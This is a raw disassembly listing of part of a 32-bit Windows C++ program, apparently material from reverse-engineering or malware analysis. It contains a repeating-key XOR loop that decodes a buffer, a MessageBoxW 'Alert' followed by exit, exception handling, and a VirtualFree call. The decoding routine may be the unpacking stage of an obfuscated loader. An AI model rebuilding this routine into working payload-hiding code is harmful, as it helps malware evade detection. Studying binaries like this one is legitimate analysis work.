call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::flush_void_]
mov ecx, dword [ebp - 0x44]
test ecx, ecx
mov edx, dword [ebp - 0x20]
mov esi, dword [ebp - 0x28]
je 0x40803b
cmp esi, 0x1000
jb 0x40802e
mov eax, dword [ecx - 4]
add ecx, 0xfffffffc
sub ecx, eax
cmp ecx, 0x20
jae 0x4081c8
add esi, 0x23
mov ecx, eax
push esi
push ecx
call fcn.0040af55
add esp, 8
mov edx, dword [ebp - 0x58]
test edx, edx
je 0x40806b
mov eax, dword [ebp - 0x50]
sub eax, edx
cmp eax, 0x1000
jb 0x408061
mov ecx, dword [edx - 4]
add edx, 0xfffffffc
sub edx, ecx
cmp edx, 0x20
jae 0x4081c8
add eax, 0x23
mov edx, ecx
push eax
push edx
call fcn.0040af55
add esp, 8
mov eax, dword [ebp - 0x2c]
cmp eax, 0x10
jb 0x4080a3
mov ecx, dword [ebp - 0x40]
lea esi, [eax + 1]
cmp esi, 0x1000
jb 0x408099
mov edx, dword [ecx - 4]
add ecx, 0xfffffffc
sub ecx, edx
cmp ecx, 0x20
jae 0x4081c8
add eax, 0x24
mov esi, eax
mov ecx, edx
push esi
push ecx
call fcn.0040af55
add esp, 8
mov ecx, dword [ebp - 0x70]
test ecx, ecx
je 0x4080d6
mov eax, dword [ebp - 0x68]
sub eax, ecx
cmp eax, 0x1000
jb 0x4080cc
mov edx, dword [ecx - 4]
add ecx, 0xfffffffc
sub ecx, edx
cmp ecx, 0x20
jae 0x4081c8
add eax, 0x23
mov ecx, edx
push eax
push ecx
call fcn.0040af55
add esp, 8
xor eax, eax
mov ecx, dword [ebp - 0x18]
mov dword fs:[0], ecx
add esp, 0x180
pop esi
pop edi
pop ebx
pop ebp
ret
mov ebx, dword [ebp - 0x24]
shr ebx, 2
mov ecx, 3
jmp 0x408117
movzx eax, byte [eax + edx]
mov edx, dword [ebp - 0x20]
xor al, byte [edx + ecx]
mov byte [edi + ecx], al
add ecx, 4
dec ebx
je 0x407f4b
lea eax, [ecx - 3]
xor edx, edx
div esi
cmp dword [ebp - 0x2c], 0x10
lea eax, [ebp - 0x40]
jb 0x40812a
mov eax, dword [ebp - 0x40]
movzx eax, byte [eax + edx]
mov edx, dword [ebp - 0x20]
xor al, byte [edx + ecx - 3]
mov byte [edi + ecx - 3], al
lea eax, [ecx - 2]
xor edx, edx
div esi
cmp dword [ebp - 0x2c], 0x10
lea eax, [ebp - 0x40]
jb 0x40814c
mov eax, dword [ebp - 0x40]
movzx eax, byte [eax + edx]
mov edx, dword [ebp - 0x20]
xor al, byte [edx + ecx - 2]
mov byte [edi + ecx - 2], al
lea eax, [ecx - 1]
xor edx, edx
div esi
cmp dword [ebp - 0x2c], 0x10
lea eax, [ebp - 0x40]
jb 0x40816e
mov eax, dword [ebp - 0x40]
movzx eax, byte [eax + edx]
mov edx, dword [ebp - 0x20]
xor al, byte [edx + ecx - 1]
mov byte [edi + ecx - 1], al
mov eax, ecx
xor edx, edx
div esi
cmp dword [ebp - 0x2c], 0x10
lea eax, [ebp - 0x40]
jb 0x408100
mov eax, dword [ebp - 0x40]
jmp 0x408100
mov ebx, dword [ebp - 0x20]
jmp 0x4081b4
movzx eax, byte [eax + edx]
xor al, byte [ebx + ecx]
mov byte [edi + ecx], al
inc ecx
cmp dword [ebp - 0x24], ecx
je 0x407f5e
mov eax, ecx
xor edx, edx
div esi
cmp dword [ebp - 0x2c], 0x10
lea eax, [ebp - 0x40]
jb 0x4081a0
mov eax, dword [ebp - 0x40]
jmp 0x4081a0
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push 0xe
call sub.MSVCP140.dll_void___cdecl_std::_Xregex_error_enum_std::regex_constants::error_type_
add esp, 4
movsd qword [ebp - 0x180], xmm0
mov dword [ebp - 0x178], 0
mov dword [ebp - 0x174], 2
mov dword [ebp - 0x170], 7
mov dword [ebp - 0x184], 0x420057
push 0x30
push str.Alert
lea eax, [ebp - 0x184]
push eax
push 0
call dword [sym.imp.USER32.dll_MessageBoxW]
push 0
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
mov dword [ebp - 0x10], 0x12
call fcn.004086d0
mov dword [ebp - method.std::runtime_error.virtual_0], vtable.std::exception.0
lea eax, [ebp - 0x180]
mov dword [ebp - 0x17c], 0
mov dword [ebp - 0x180], 0
mov dword [ebp - 0x78], str.
mov byte [ebp - 0x74], 1
push eax
lea eax, [ebp - 0x78]
push eax
call sub.VCRUNTIME140.dll___std_exception_copy
add esp, 8
mov dword [ebp - method.std::runtime_error.virtual_0], vtable.std::runtime_error.0
mov dword [ebp - 0x10], 0x14
push 0x411d28
lea eax, [ebp - 0x184]
push eax
call sub.VCRUNTIME140.dll__CxxThrowException
add esp, 8
push 0x8000
push 0
push edi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov dword [ebp - method.std::runtime_error.virtual_0], vtable.std::exception.0
lea eax, [ebp - 0x180]
mov dword [ebp - 0x17c], 0
mov dword [ebp - 0x180], 0
mov dword [ebp - 0x78], 0x40f5ee
mov byte [ebp - 0x74], 1
push eax
lea eax, [ebp - 0x78]
push eax
call sub.VCRUNTIME140.dll___std_exception_copy
add esp, 8
mov dword [ebp - method.std::runtime_error.virtual_0], vtable.std::runtime_error.0
push 0x411d28
lea eax, [ebp - 0x184]
push eax
call sub.VCRUNTIME140.dll__CxxThrowException
add esp, 8
mov dword [ebp - 0x10], 0x11
call fcn.00401370
mov dword [ebp - 0x10], 0x13
call fcn.00401ac0
mov dword [ebp - 0x10], 4
call fcn.00401ac0
call fcn.00401370
call fcn.004014d0
call fcn.00401ad0
mov dword [ebp - 0x10], 0xd
call fcn.00401370
call fcn.00401ac0
call fcn.00401ad0
call fcn.00401ad0
add ebp, 0xc
mov eax, 1
jmp 0x4080d8